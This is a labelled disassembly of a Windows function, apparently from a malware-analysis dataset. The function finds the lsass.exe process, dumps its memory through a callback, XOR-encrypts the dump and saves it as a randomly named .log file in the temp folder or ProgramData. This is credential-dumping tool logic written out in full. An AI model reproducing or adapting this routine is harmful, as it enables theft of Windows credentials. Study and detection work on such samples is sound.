Function at 0x10015110
Capabilities:
Encode data using xor
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x674
mov eax, dword [0x1001e008]
xor eax, esp
mov dword [esp + 0x670], eax
mov eax, dword fs:[0x2c]
mov edx, dword [0x1001ec7c]
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, dword [eax + edx*4]
mov eax, dword [0x1001f3ac]
push edi
mov edi, ecx
mov dword [esp + 0x10], ebx
cmp eax, dword [ebx + 4]
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [esp + 0x14], edi
jg 0x10015464
mov ecx, dword [esp + 0x10]
mov eax, dword [0x1001f3c0]
cmp eax, dword [ecx + 4]
jg 0x100154a4
cmp byte [0x1001e8b0], 0
je 0x1001519c
mov eax, dword [0x1001f3b0]
test eax, eax
je 0x1001519c
lea ecx, [esp + 0x20]
push ecx
push 1
push 1
call eax
mov byte [0x1001e8b0], 0
mov eax, dword [0x1001f3b4]
mov dword [esp + 0x28], 0xfa0a1f00
mov dword [esp + 0x2c], 0xffffffff
test eax, eax
je 0x100151be
lea ecx, [esp + 0x28]
push ecx
push 0
call eax
xor esi, esi
push esi
push 2
mov dword [esp + 0x2c], esi
call dword [0x1001f3a8]
push 0x228
mov ebx, eax
lea eax, [esp + 0x40]
push esi
push eax
call fcn.100023c0
add esp, 0xc
mov dword [esp + 0x38], 0x22c
lea eax, [esp + 0x38]
push eax
push ebx
call dword [0x1001f398]
test eax, eax
je 0x10015236
push str.lsass.exe
push 0x1001bbcc
call fcn.1000453d
add esp, 8
test eax, eax
je 0x10015236
lea eax, [esp + 0x38]
push eax
push ebx
call dword [0x1001f3a4]
mov esi, dword [esp + 0x40]
lea eax, [esp + 0x5c]
push str.lsass.exe
push eax
call fcn.1000453d
add esp, 8
test eax, eax
jne 0x10015210
lea eax, [esp + 0x34]
push eax
push 0
push 1
push 0x14
call dword [0x1001f390]
test esi, esi
jne 0x10015255
push str.____not_find_pid_n
jmp 0x10015447
push esi
push 0
push 0x1fffff
call dword [0x1001f39c]
lea ecx, [esp + 0x18]
mov dword [esp + 0x18], 0x10015660
push ecx
push 0
push 0
push 2
push 0
push esi
push eax
mov dword [esp + 0x38], 0
call dword [0x1001f38c]
test eax, eax
je 0x10015442
mov ebx, dword [0x1001f384]
push ebx
call fcn.1000124c
add esp, 4
mov dword [esp + 0x10], eax
push ebx
push dword [0x1001f3a0]
push eax
call fcn.10002d40
xor ecx, ecx
add esp, 0xc
cmp byte [edi], cl
je 0x100152c7
nop dword [eax]
inc ecx
cmp byte [ecx + edi], 0
jne 0x100152c0
xor esi, esi
test ebx, ebx
je 0x100152e5
nop dword [eax]
xor edx, edx
mov eax, esi
div ecx
mov al, byte [edx + edi]
mov edx, dword [esp + 0x10]
xor byte [esi + edx], al
inc esi
cmp esi, ebx
jb 0x100152d0
lea eax, [esp + 0x268]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
jne 0x10015329
push str.____Get_temp_path_failure___n
call fcn.10001110
add esp, 4
push str.___Set_the_target_directory_to_C:ProgramData__n
call fcn.10001110
add esp, 4
lea eax, [esp + 0x268]
push str.C:ProgramData_
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x208
lea eax, [esp + 0x474]
push 0
push eax
call fcn.100023c0
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.100042e1
add esp, 4
xor esi, esi
lea edi, [esi + 0x3e]
call fcn.100042c0
xor edx, edx
div edi
mov ax, word [edx*2 + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]
mov word [esp + esi*2 + 0x470], ax
inc esi
cmp esi, 0xc
jl 0x10015354
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
xor eax, eax
mov word [esp + 0x488], ax
lea eax, [esp + 0x470]
push eax
lea eax, [esp + 0x26c]
push eax
call esi
push str..log
lea eax, [esp + 0x26c]
push eax
call esi
push 0
push 0x80
push 2
push 0
push 0
push 0x10000000
lea eax, [esp + 0x280]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, dword [esp + 0x10]
lea ecx, [esp + 0x24]
push 0
push ecx
push ebx
push esi
push eax
mov dword [esp + 0x34], eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edi, dword [esp + 0x14]
test eax, eax
je 0x1001540c
push edi
push str.___file_xor_crypt_key:__s_n
call fcn.10001150
push ebx
lea eax, [esp + 0x274]
push eax
push str.___save_to__ls___lu__n
call fcn.10001110
add esp, 0x14
mov eax, str.___callbackdump_finished._n
jmp 0x10015411
mov eax, str.____File_cant_write___dump__failed___n
push eax
call fcn.10001110
add esp, 4
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call fcn.10001192
add esp, 4
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x670]
xor ecx, esp
call fcn.10001184
mov esp, ebp
pop ebp
ret
push str.____callbackdump_failed__Maybe_the_target_has_RunAsPPL_turned_on__n
call fcn.10001110
mov ecx, dword [esp + 0x680]
add esp, 4
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10001184
mov esp, ebp
pop ebp
ret
push 0x1001f3ac
call fcn.100011e8
add esp, 4
cmp dword [0x1001f3ac], 0xffffffff
jne 0x10015163
push str.NtDelayExecution
push str.ntdll.dll
call ebx
push eax
call esi
push 0x1001f3ac
mov dword [0x1001f3b4], eax
call fcn.10001197
add esp, 4
jmp 0x10015163
push 0x1001f3c0
call fcn.100011e8
add esp, 4
cmp dword [0x1001f3c0], 0xffffffff
jne 0x10015178
push str.ZwSetTimerResolution
push str.ntdll.dll
call ebx
push eax
call esi
push 0x1001f3c0
mov dword [0x1001f3b0], eax
call fcn.10001197
add esp, 4
jmp 0x10015178